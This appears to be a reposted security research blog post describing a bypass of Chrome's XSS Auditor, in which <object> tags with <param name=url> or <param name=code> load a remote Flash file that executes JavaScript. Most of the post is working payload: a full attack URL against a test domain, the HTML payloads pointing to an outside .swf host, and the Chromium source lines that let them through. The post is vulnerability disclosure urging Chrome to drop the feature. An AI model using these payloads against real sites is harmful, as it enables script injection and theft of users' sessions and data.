This exploit works on works on Chrome Canary 57
The bypass is:
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
if (url.isEmpty() && urlParameter.isEmpty() &&
(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
The <param name="src" value="//attacker/xss.swf">
and <param name="movie" value="//attacker/xss.swf">
are blocked by XSS Auditor. But I noticed that code
and url
are not blocked. Using this, we can load Flash and execute the JavaScript. According to the source code's comment, it seems Chrome supports this for compatibility. But at least I confirmed it does not work on IE/Edge and Firefox. I think Chrome can remove this support :)
That's it. I wrote about XSS Auditor bypass using <param>
. Thanks for reading!
Original Article: http://mksben.l0.cm/2016/12/xssauditor-bypass-using-paramtag.html